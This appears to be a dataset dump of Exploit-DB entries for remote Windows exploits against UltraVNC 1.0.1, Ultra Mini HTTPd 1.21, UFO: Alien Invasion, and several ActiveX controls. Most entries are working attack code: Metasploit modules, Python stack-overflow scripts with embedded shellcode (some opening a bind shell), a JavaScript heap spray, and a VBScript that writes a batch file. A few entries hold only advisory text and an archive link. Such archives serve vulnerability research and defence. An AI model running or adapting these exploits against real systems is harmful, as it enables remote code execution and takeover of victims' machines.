deardaniel/secdata-raw huggingface dataset:
Exploit-DB #35885
Description: Ubisoft CoGSManager ActiveX Control 1.0.0.23 - 'Initialize()' Method Stack Buffer Overflow
Type: remote
Platform: windows
Date: 2011-06-27
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/48462/info

Ubisoft CoGSManager ActiveX control is prone to a remote stack-based buffer-overflow vulnerability because the application fails to properly bounds check user-supplied input.

Attackers can exploit this issue to execute arbitrary code within the context of an application (typically Internet Explorer) that uses the ActiveX control. Failed exploit attempts will result in a denial-of-service condition.

Ubisoft CoGSManager ActiveX control 1.0.0.23 is vulnerable. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/35885.zip
Exploit-DB #16446
Description: UFO: Alien Invasion IRC Client (Windows) - Remote Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2010-10-09
Author: Metasploit

Exploit:
##
# $Id: ufo_ai.rb 10617 2010-10-09 06:55:52Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = AverageRanking

	include Msf::Exploit::Remote::TcpServer

	def initialize(info = {})
		super(update_info(info,
			'Name' => 'UFO: Alien Invasion IRC Client Buffer Overflow Exploit',
			'Description'    => %q{
					This module exploits a buffer overflow in the IRC client component of
				UFO: Alien Invasion 2.2.1.
			},
			'Author' 	 =>
				[
					'Jason Geffner',  # Original Windows PoC Author
					'dookie'          # MSF Module Author
				],
			'License'  => MSF_LICENSE,
			'Version'  => '$Revision: 10617 $',
			'References' =>
				[
					[ 'OSVDB', '65689'],
					[ 'URL', 'http://www.exploit-db.com/exploits/14013' ]
				],
			'Payload' =>
				{
					'Space' => 400,
					'BadChars' => "\x00\x0a\x0d",
					'MaxNops' => 0,
					'StackAdjustment' => -3500,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Windows XP Universal', { 'Ret' => 0x0AE59A43 } ], # JMP ESP in SDL_ttf.dll
				],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Oct 28 2009'))

		register_options(
			[
				OptPort.new('SRVPORT', [ true, "The IRC daemon port to listen on", 6667 ]),
			], self.class)

	end

	def on_client_connect(client)

		return if ((p = regenerate_payload(client)) == nil)

		print_status("Got client connection...")

		buffer = "001 :"
		buffer << rand_text_alpha_upper(552)
		buffer << [ target.ret ].pack('V')
		buffer << make_nops(8)
		buffer << payload.encoded
		buffer << "\x0d\x0a"

		print_status("Sending exploit to #{client.peerhost}:#{client.peerport}...")

		client.put(buffer)

	end

end
Exploit-DB #1664
Description: Ultr@VNC 1.0.1 - 'client Log::ReallyPrint' Remote Buffer Overflow
Type: remote
Platform: windows
Date: 2006-04-11
Author: Paul Haas

Exploit:
#!/usr/bin/python

#Ultr@VNC 1.0.1 Client Buffer Overflow - Luigi Auriemm
#POC by Paul Haas at Redspin.com
#Tested on WinXP SP 2: Launches Calc
import socket, struct

HOST = ''                       # Localhost
PORT = 5900                     # VNC Server
BOFSZ = 1024                    # Buffer Size
HEAD = "RFB 003.006\n"          # VNC Header
MESSAGE = "Requires Ultr@VNC Authentication\n"
NOP = "\x90"                    # Standard x86 NOP
JMP = "\xE9\x1B\xFC\xFF\xFF"    # JMP To BUFF
ESP = "\xE0\x3A\xB4\x76"        # winmm.dll: JMP %esp
POP = "PASSWORD"                # RET 8

# win32_exec - CMD=calc Size=160 http://metasploit.com
SHELLCODE = \
"\x31\xc9\x83\xe9\xde\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xe1"+\
"\x7c\x05\xd9\x83\xeb\xfc\xe2\xf4\x1d\x94\x41\xd9\xe1\x7c\x8e\x9c"+\
"\xdd\xf7\x79\xdc\x99\x7d\xea\x52\xae\x64\x8e\x86\xc1\x7d\xee\x90"+\
"\x6a\x48\x8e\xd8\x0f\x4d\xc5\x40\x4d\xf8\xc5\xad\xe6\xbd\xcf\xd4"+\
"\xe0\xbe\xee\x2d\xda\x28\x21\xdd\x94\x99\x8e\x86\xc5\x7d\xee\xbf"+\
"\x6a\x70\x4e\x52\xbe\x60\x04\x32\x6a\x60\x8e\xd8\x0a\xf5\x59\xfd"+\
"\xe5\xbf\x34\x19\x85\xf7\x45\xe9\x64\xbc\x7d\xd5\x6a\x3c\x09\x52"+\
"\x91\x60\xa8\x52\x89\x74\xee\xd0\x6a\xfc\xb5\xd9\xe1\x7c\x8e\xb1"+\
"\xdd\x23\x34\x2f\x81\x2a\x8c\x21\x62\xbc\x7e\x89\x89\x8c\x8f\xdd"+\
"\xbe\x14\x9d\x27\x6b\x72\x52\x26\x06\x1f\x64\xb5\x82\x7c\x05\xd9"

#buff = MESSAGE+SHELLCODE+NOP SLED+RET ADDR+USELESS+JUMP TO BUFF
buff = MESSAGE+SHELLCODE+NOP*(BOFSZ-11-len(MESSAGE)-len(SHELLCODE))
buff = buff+ESP+POP+JMP

#Egg = VNC Server Error Reply and Size of Reply + buff
egg = struct.pack('LL',socket.htonl(0),socket.htonl(len(buff)))+buff

print 'Ultr@VNC 1.0.1 Client Buffer Overflow - Luigi Auriemma'
print 'POC by Paul Haas at Redspin.com'
print 'Server listening on port', PORT

#Server Loop
while(1):
       s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
       s.bind((HOST, PORT))
       s.listen(1)

       conn, addr = s.accept()
       print 'Connection by', addr

       conn.send(HEAD)
       data = conn.recv(12)

       conn.send(egg)
       conn.close()

# milw0rm.com [2006-04-11]
Exploit-DB #4388
Description: Ultra Crypto Component - 'CryptoX.dll 2.0 SaveToFile()' Insecure Method
Type: remote
Platform: windows
Date: 2007-09-10
Author: shinnai

Exploit:
<pre>
<code><span style="font: 10pt Courier New;"><span class="general1-symbol"><body bgcolor="#E0E0E0">-------------------------------------------------------------------------------------
 <b>Ultra Crypto Component (CryptoX.dll <= 2.0) "SaveToFile()" Inscure Method</b>
 url: http://www.ultrashareware.com/

 author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://shinnai.altervista.org
 
 This was written for educational purpose. Use it at your own risk.
 Author will be not responsible for any damage.
 
 Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7
 all software that use this ocx are vulnerable to this exploits.

 <b>We can use the "HexString()" method to save into our batch file some lines.
 In this PoC, I convert "cmd.exe /c notepad.exe" in hexadecimal format, then
 I save it in a batch file :)</b>
-------------------------------------------------------------------------------------

<object classid='clsid:FD22F3AE-1450-4BDC-ADBE-6AF210A78C2C' id='test'></object>

<input language=VBScript onclick=tryMe() type=button value="Click here to start the test">

<script language='vbscript'>
 Sub tryMe
  Dim MyMsg  
   test.HexString = "636D642E657865202F63206E6F[PII_REDACTED]2E657865" 'cmd.exe /c notepad.exe
   test.SaveToFile "c:\shinnai.bat"
   MyMsg = MsgBox("Exploit completed!")
 End Sub
</script>
</span></span>

</code></pre>

# milw0rm.com [2007-09-10]
Exploit-DB #27608
Description: Ultra Mini HTTPd - Remote Stack Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2013-08-15
Author: Metasploit

Exploit:
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info={})
    super(update_info(info,
      'Name'           => "Ultra Mini HTTPD Stack Buffer Overflow",
      'Description'    => %q{
          This module exploits a stack based buffer overflow in Ultra Mini HTTPD 1.21
        allowing remote attackers to execute arbitrary code via a long resource name in an HTTP
        request.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'superkojiman',  #Discovery, PoC
          'PsychoSpy <neinwechter[at]gmail.com>' #Metasploit
        ],
      'References'     =>
        [
          ['OSVDB', '95164'],
          ['EDB','26739'],
          ['CVE','2013-5019'],
          ['BID','61130']
        ],
      'Payload'        =>
        {
          'Space' => 1623,
          'StackAdjustment' => -3500,
          'BadChars' => "\x00\x09\x0a\x0b\x0c\x0d\x20\x2f\x3f"
        },
      'DefaultOptions'  =>
        {
          'ExitFunction' => "thread"
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [
            'v1.21 - Windows XP SP3',
            {
              'Offset' => 5412,
              'Ret'=>0x77c354b4 # push esp / ret - msvcrt.dll
            }
          ]
        ],
      'Privileged'     => false,
      'DisclosureDate' => 'Jul 10 2013',
      'DefaultTarget'  => 0
    ))
  end

  def exploit
    buf = rand_text(target['Offset'])
    buf << [target.ret].pack("V*")
    buf << payload.encoded

    print_status("Sending buffer...")
    send_request_cgi({
      'method' => 'GET',
      'uri'    => "/#{buf}"
    })
  end
end
Exploit-DB #31736
Description: Ultra Mini HTTPd 1.21 - 'POST' Remote Stack Buffer Overflow (1)
Type: remote
Platform: windows
Date: 2014-02-18
Author: Sumit

Exploit:
# Exploit Title: Ultra Mini HTTPD stack buffer overflow POST request
# Date: 16 Feb 2014
# Exploit Author: Sumit
# Vendor Homepage: http://www.picolix.jp/
# Software Link: http://www.vector.co.jp/soft/winnt/net/se275154.html
# Version: 1.21
# Tested on: Windows XP Professional SP3
#
# Description:
# A buffer overflow is triggered when requesting a very long url in POST request
#

import socket

shellcode = ( # msfvenom windows/shell_bind_tcp -b '\x00\x09\x0a\x0b\x0c\x0d\x20'
"\xd9\xea\xba\x03\xc9\x19\xa6\xd9\x74\x24\xf4\x58\x29\xc9" +
"\xb1\x56\x31\x50\x18\x83\xe8\xfc\x03\x50\x17\x2b\xec\x5a" +
"\xff\x22\x0f\xa3\xff\x54\x99\x46\xce\x46\xfd\x03\x62\x57" +
"\x75\x41\x8e\x1c\xdb\x72\x05\x50\xf4\x75\xae\xdf\x22\xbb" +
"\x2f\xee\xea\x17\xf3\x70\x97\x65\x27\x53\xa6\xa5\x3a\x92" +
"\xef\xd8\xb4\xc6\xb8\x97\x66\xf7\xcd\xea\xba\xf6\x01\x61" +
"\x82\x80\x24\xb6\x76\x3b\x26\xe7\x26\x30\x60\x1f\x4d\x1e" +
"\x51\x1e\x82\x7c\xad\x69\xaf\xb7\x45\x68\x79\x86\xa6\x5a" +
"\x45\x45\x99\x52\x48\x97\xdd\x55\xb2\xe2\x15\xa6\x4f\xf5" +
"\xed\xd4\x8b\x70\xf0\x7f\x58\x22\xd0\x7e\x8d\xb5\x93\x8d" +
"\x7a\xb1\xfc\x91\x7d\x16\x77\xad\xf6\x99\x58\x27\x4c\xbe" +
"\x7c\x63\x17\xdf\x25\xc9\xf6\xe0\x36\xb5\xa7\x44\x3c\x54" +
"\xbc\xff\x1f\x31\x71\x32\xa0\xc1\x1d\x45\xd3\xf3\x82\xfd" +
"\x7b\xb8\x4b\xd8\x7c\xbf\x66\x9c\x13\x3e\x88\xdd\x3a\x85" +
"\xdc\x8d\x54\x2c\x5c\x46\xa5\xd1\x89\xc9\xf5\x7d\x61\xaa" +
"\xa5\x3d\xd1\x42\xac\xb1\x0e\x72\xcf\x1b\x39\xb4\x01\x7f" +
"\x6a\x53\x60\x7f\x9d\xff\xed\x99\xf7\xef\xbb\x32\x6f\xd2" +
"\x9f\x8a\x08\x2d\xca\xa6\x81\xb9\x42\xa1\x15\xc5\x52\xe7" +
"\x36\x6a\xfa\x60\xcc\x60\x3f\x90\xd3\xac\x17\xdb\xec\x27" +
"\xed\xb5\xbf\xd6\xf2\x9f\x57\x7a\x60\x44\xa7\xf5\x99\xd3" +
"\xf0\x52\x6f\x2a\x94\x4e\xd6\x84\x8a\x92\x8e\xef\x0e\x49" +
"\x73\xf1\x8f\x1c\xcf\xd5\x9f\xd8\xd0\x51\xcb\xb4\x86\x0f" +
"\xa5\x72\x71\xfe\x1f\x2d\x2e\xa8\xf7\xa8\x1c\x6b\x81\xb4" +
"\x48\x1d\x6d\x04\x25\x58\x92\xa9\xa1\x6c\xeb\xd7\x51\x92" +
"\x26\x5c\x61\xd9\x6a\xf5\xea\x84\xff\x47\x77\x37\x2a\x8b" +
"\x8e\xb4\xde\x74\x75\xa4\xab\x71\x31\x62\x40\x08\x2a\x07" +
"\x66\xbf\x4b\x02" )

EIP = '\x53\x93\x42\x7E' # 7E429353 JMP ESP user.dll
payload = 'A'* 5438 + EIP + '\x90'*50 + shellcode

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("127.0.0.1", 80))
buf = "POST / %s HTTP/1.1\r\nHost:127.0.0.1\r\n\r\n" % (payload)

s.send(buf)
s.close()
Exploit-DB #26739
Description: Ultra Mini HTTPd 1.21 - Remote Stack Buffer Overflow
Type: remote
Platform: windows
Date: 2013-07-11
Author: superkojiman

Exploit:
# Exploit Title: Ultra Mini HTTPD stack buffer overflow
# Date: 10 July 2013
# Exploit Author: superkojiman - http://www.techorganic.com
# Vendor Homepage: http://www.picolix.jp/
# Software Link: http://www.vector.co.jp/soft/winnt/net/se275154.html
# Version: 1.21
# Tested on: Windows XP Professional SP2, English
#
# Description: 
# A buffer overflow is triggered when requesting a very long 
# resource name. 
#

import socket
import struct

# msfpayload windows/shell_bind_tcp R | \
#     msfencode -b "\x00\x0a\x0d\x20\x0b\x09\x0c"
# [*] x86/shikata_ga_nai succeeded with size 368 (iteration=1)

shellcode = ( 
"\xba\x1f\xb5\xae\xa1\xdd\xc4\xd9\x74\x24\xf4\x5e\x33\xc9" +
"\xb1\x56\x31\x56\x13\x83\xc6\x04\x03\x56\x10\x57\x5b\x5d" +
"\xc6\x1e\xa4\x9e\x16\x41\x2c\x7b\x27\x53\x4a\x0f\x15\x63" +
"\x18\x5d\x95\x08\x4c\x76\x2e\x7c\x59\x79\x87\xcb\xbf\xb4" +
"\x18\xfa\x7f\x1a\xda\x9c\x03\x61\x0e\x7f\x3d\xaa\x43\x7e" +
"\x7a\xd7\xab\xd2\xd3\x93\x19\xc3\x50\xe1\xa1\xe2\xb6\x6d" +
"\x99\x9c\xb3\xb2\x6d\x17\xbd\xe2\xdd\x2c\xf5\x1a\x56\x6a" +
"\x26\x1a\xbb\x68\x1a\x55\xb0\x5b\xe8\x64\x10\x92\x11\x57" +
"\x5c\x79\x2c\x57\x51\x83\x68\x50\x89\xf6\x82\xa2\x34\x01" +
"\x51\xd8\xe2\x84\x44\x7a\x61\x3e\xad\x7a\xa6\xd9\x26\x70" +
"\x03\xad\x61\x95\x92\x62\x1a\xa1\x1f\x85\xcd\x23\x5b\xa2" +
"\xc9\x68\x38\xcb\x48\xd5\xef\xf4\x8b\xb1\x50\x51\xc7\x50" +
"\x85\xe3\x8a\x3c\x6a\xde\x34\xbd\xe4\x69\x46\x8f\xab\xc1" +
"\xc0\xa3\x24\xcc\x17\xc3\x1f\xa8\x88\x3a\x9f\xc9\x81\xf8" +
"\xcb\x99\xb9\x29\x73\x72\x3a\xd5\xa6\xd5\x6a\x79\x18\x96" +
"\xda\x39\xc8\x7e\x31\xb6\x37\x9e\x3a\x1c\x4e\x98\xf4\x44" +
"\x03\x4f\xf5\x7a\xb2\xd3\x70\x9c\xde\xfb\xd4\x36\x76\x3e" +
"\x03\x8f\xe1\x41\x61\xa3\xba\xd5\x3d\xad\x7c\xd9\xbd\xfb" +
"\x2f\x76\x15\x6c\xbb\x94\xa2\x8d\xbc\xb0\x82\xc4\x85\x53" +
"\x58\xb9\x44\xc5\x5d\x90\x3e\x66\xcf\x7f\xbe\xe1\xec\xd7" +
"\xe9\xa6\xc3\x21\x7f\x5b\x7d\x98\x9d\xa6\x1b\xe3\x25\x7d" +
"\xd8\xea\xa4\xf0\x64\xc9\xb6\xcc\x65\x55\xe2\x80\x33\x03" +
"\x5c\x67\xea\xe5\x36\x31\x41\xac\xde\xc4\xa9\x6f\x98\xc8" +
"\xe7\x19\x44\x78\x5e\x5c\x7b\xb5\x36\x68\x04\xab\xa6\x97" +
"\xdf\x6f\xd6\xdd\x7d\xd9\x7f\xb8\x14\x5b\xe2\x3b\xc3\x98" +
"\x1b\xb8\xe1\x60\xd8\xa0\x80\x65\xa4\x66\x79\x14\xb5\x02" +
"\x7d\x8b\xb6\x06"
)

# 7C941EED  , JMP ESP , ntdll.dll
payload =  "A" * 5392 + struct.pack("<I", 0x7C941EED)
payload += "\x81\xc4\xf0\xea\xff\xff" + shellcode + "B" * 4230

print "[+] sending payload, length", len(payload)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.37.175", 80))

buf = (
	"GET /" + payload + " HTTP/1.1\r\n" + 
	"Host: 192.168.37.175" + 
	"\r\n\r\n"
)

s.send(buf)
s.close()
Exploit-DB #6318
Description: Ultra Shareware Office Control - ActiveX Control Remote Buffer Overflow
Type: remote
Platform: windows
Date: 2008-08-27
Author: shinnai

Exploit:
-----------------------------------------------------------------------------
 Ultra Office ActiveX Control Remote Buffer Overflow
 url: http://www.ultrashareware.com

 Author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://www.shinnai.net

 This was written for educational purpose. Use it at your own risk.
 Author will be not responsible for any damage.

 Tested on Windows XP Professional SP3 all patched, with Internet Explorer 7
-----------------------------------------------------------------------------
<script language="JavaScript" defer>
  var sCode = unescape("%uE860%u0000%u0000%u815D%u06ED%u0000%u8A00%u1285%u0001%u0800" +
                       "%u75C0%uFE0F%u1285%u0001%uE800%u001A%u0000%uC009%u1074%u0A6A" +
                       "%u858D%u0114%u0000%uFF50%u0695%u0001%u6100%uC031%uC489%uC350" +
                       "%u8D60%u02BD%u0001%u3100%uB0C0%u6430%u008B%u408B%u8B0C%u1C40" +
                       "%u008B%u408B%uFC08%uC689%u3F83%u7400%uFF0F%u5637%u33E8%u0000" +
                       "%u0900%u74C0%uAB2B%uECEB%uC783%u8304%u003F%u1774%uF889%u5040" +
                       "%u95FF%u0102%u0000%uC009%u1274%uC689%uB60F%u0107%uEBC7%u31CD" +
                       "%u40C0%u4489%u1C24%uC361%uC031%uF6EB%u8B60%u2444%u0324%u3C40" +
                       "%u408D%u8D18%u6040%u388B%uFF09%u5274%u7C03%u2424%u4F8B%u8B18" +
                       "%u205F%u5C03%u2424%u49FC%u407C%u348B%u038B%u2474%u3124%u99C0" +
                       "%u08AC%u74C0%uC107%u07C2%uC201%uF4EB%u543B%u2824%uE175%u578B" +
                       "%u0324%u2454%u0F24%u04B7%uC14A%u02E0%u578B%u031C%u2454%u8B24" +
                       "%u1004%u4403%u2424%u4489%u1C24%uC261%u0008%uC031%uF4EB%uFFC9" +
                       "%u10DF%u9231%uE8BF%u0000%u0000%u0000%u0000%u9000%u6163%u636C" +
                       "%u652E%u6578%u9000");
  var sSlide = unescape("%u9090%u9090");
  var heapSA = 0x0c0c0c0c;
  function tryMe()
   {
    var buffSize = 20000;
    var x =  unescape("%0c%0c%0c%0c");
    while (x.length<buffSize) x += x;
    x = x.substring(0,buffSize);
    boom.HttpUpload(x, x, x);
  }
  function getsSlide(sSlide, sSlideSize)
   {
    while (sSlide.length*2<sSlideSize)
     {
      sSlide += sSlide;
     }
    sSlide = sSlide.substring(0,sSlideSize/2);
    return (sSlide);
  }
  var heapBS = 0x400000;
  var sizeHDM = 0x5;
  var PLSize = (sCode.length * 2);
  var sSlideSize = heapBS - (PLSize + sizeHDM);
  var heapBlocks = (heapSA+heapBS)/heapBS;
  var memory = new Array();
  sSlide = getsSlide(sSlide,sSlideSize);
  for (i=0;i<heapBlocks;i++)
   {
    memory[i] = sSlide +  sCode;
   }
 </script>
 <body onload="JavaScript: return tryMe();">
  <object id="boom" classid="clsid:00989888-BB72-4E31-A7C6-5F819C24D2F7">
   Unable to create object
 </object>

# milw0rm.com [2008-08-27]
Exploit-DB #16490
Description: UltraVNC 1.0.1 - Client Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2010-04-30
Author: Metasploit

Exploit:
##
# $Id: ultravnc_client.rb 9179 2010-04-30 08:40:19Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::TcpServer

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'UltraVNC 1.0.1 Client Buffer Overflow',
			'Description'    => %q{
				This module exploits a buffer overflow in UltraVNC Win32
				Viewer 1.0.1 Release.
			},
			'Author'         => 'MC',
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 9179 $',
			'References'     =>
				[
					[ 'CVE', '2006-1652' ],
					[ 'OSVDB', '24456' ],
					[ 'BID', '17378' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread',
				},
			'Payload'        =>
				{
					'Space'    => 500,
					'BadChars' => "\x00",
					'MaxNops'  => 0,
					'StackAdjustment' => -3500,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Windows 2000 SP4 English',	{ 'Ret' => 0x7c2ec68b } ],
					[ 'Windows XP SP2 English',	{ 'Ret' => 0x77dc15c0 } ],
					[ 'Windows 2003 SP1 English',	{ 'Ret' => 0x76aa679b } ],
				],
			'Privileged'     => false,
			'DisclosureDate' => 'Apr 4 2006',
			'DefaultTarget'  => 0))

		register_options(
			[
				OptPort.new('SRVPORT', [ true, "The VNCServer daemon port to listen on", 5900 ])
			], self.class)
	end

	def on_client_connect(client)

		rfb = "RFB 003.006\n"

		client.put(rfb)
	end

	def on_client_data(client)
		return if ((p = regenerate_payload(client)) == nil)

		filler = make_nops(980 - payload.encoded.length)

		sploit =  "\x00\x00\x00\x00\x00\x00\x04\x06" + "Requires Ultr@VNC Authentication\n"
		sploit << payload.encoded + filler + [target.ret].pack('V')
		sploit << "PASSWORD" + [0xe8, -997].pack('CV')

		print_status("Sending #{sploit.length} bytes to #{client.getpeername}:#{client.peerport}...")
		client.put(sploit)

		handler
		service.close_client(client)
	end

end
Exploit-DB #27568
Description: UltraVNC 1.0.1 - Multiple Remote Error Logging Buffer Overflow Vulnerabilities (1)
Type: remote
Platform: windows
Date: 2006-04-04
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/17378/info

UltraVNC is susceptible to multiple error-logging remote buffer-overflow vulnerabilities. These issues are due to the application's failure to properly bounds-check user-supplied input before copying it to insufficiently sized memory buffers.

A successful attack may allow remote attackers to execute arbitrary code on a vulnerable computer to gain unauthorized access in the context of the application.

#!/usr/bin/python

#Ultr@VNC 1.0.1 Client Buffer Overflow - Luigi Auriemm
#POC by Paul Haas at Redspin.com
#Tested on WinXP SP 2: Launches Calc
import socket, struct

HOST = ''                       # Localhost
PORT = 5900                     # VNC Server
BOFSZ = 1024                    # Buffer Size
HEAD = "RFB 003.006\n"          # VNC Header
MESSAGE = "Requires Ultr@VNC Authentication\n"
NOP = "\x90"                    # Standard x86 NOP
JMP = "\xE9\x1B\xFC\xFF\xFF"    # JMP To BUFF
ESP = "\xE0\x3A\xB4\x76"        # winmm.dll: JMP %esp
POP = "PASSWORD"                # RET 8

# win32_exec - CMD=calc Size=160 http://metasploit.com
SHELLCODE = \
"\x31\xc9\x83\xe9\xde\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xe1"+\
"\x7c\x05\xd9\x83\xeb\xfc\xe2\xf4\x1d\x94\x41\xd9\xe1\x7c\x8e\x9c"+\
"\xdd\xf7\x79\xdc\x99\x7d\xea\x52\xae\x64\x8e\x86\xc1\x7d\xee\x90"+\
"\x6a\x48\x8e\xd8\x0f\x4d\xc5\x40\x4d\xf8\xc5\xad\xe6\xbd\xcf\xd4"+\
"\xe0\xbe\xee\x2d\xda\x28\x21\xdd\x94\x99\x8e\x86\xc5\x7d\xee\xbf"+\
"\x6a\x70\x4e\x52\xbe\x60\x04\x32\x6a\x60\x8e\xd8\x0a\xf5\x59\xfd"+\
"\xe5\xbf\x34\x19\x85\xf7\x45\xe9\x64\xbc\x7d\xd5\x6a\x3c\x09\x52"+\
"\x91\x60\xa8\x52\x89\x74\xee\xd0\x6a\xfc\xb5\xd9\xe1\x7c\x8e\xb1"+\
"\xdd\x23\x34\x2f\x81\x2a\x8c\x21\x62\xbc\x7e\x89\x89\x8c\x8f\xdd"+\
"\xbe\x14\x9d\x27\x6b\x72\x52\x26\x06\x1f\x64\xb5\x82\x7c\x05\xd9"

#buff = MESSAGE+SHELLCODE+NOP SLED+RET ADDR+USELESS+JUMP TO BUFF
buff = MESSAGE+SHELLCODE+NOP*(BOFSZ-11-len(MESSAGE)-len(SHELLCODE))
buff = buff+ESP+POP+JMP

#Egg = VNC Server Error Reply and Size of Reply + buff
egg = struct.pack('LL',socket.htonl(0),socket.htonl(len(buff)))+buff

print 'Ultr@VNC 1.0.1 Client Buffer Overflow - Luigi Auriemma'
print 'POC by Paul Haas at Redspin.com'
print 'Server listening on port', PORT

#Server Loop
while(1):
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.bind((HOST, PORT))
        s.listen(1)

        conn, addr = s.accept()
        print 'Connection by', addr

        conn.send(HEAD)
        data = conn.recv(12)

        conn.send(egg)
        conn.close()
Exploit-DB #27569
Description: UltraVNC 1.0.1 - Multiple Remote Error Logging Buffer Overflow Vulnerabilities (2)
Type: remote
Platform: windows
Date: 2006-04-04
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/17378/info
 
UltraVNC is susceptible to multiple error-logging remote buffer-overflow vulnerabilities. These issues are due to the application's failure to properly bounds-check user-supplied input before copying it to insufficiently sized memory buffers.
 
A successful attack may allow remote attackers to execute arbitrary code on a vulnerable computer to gain unauthorized access in the context of the application.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/27569.zip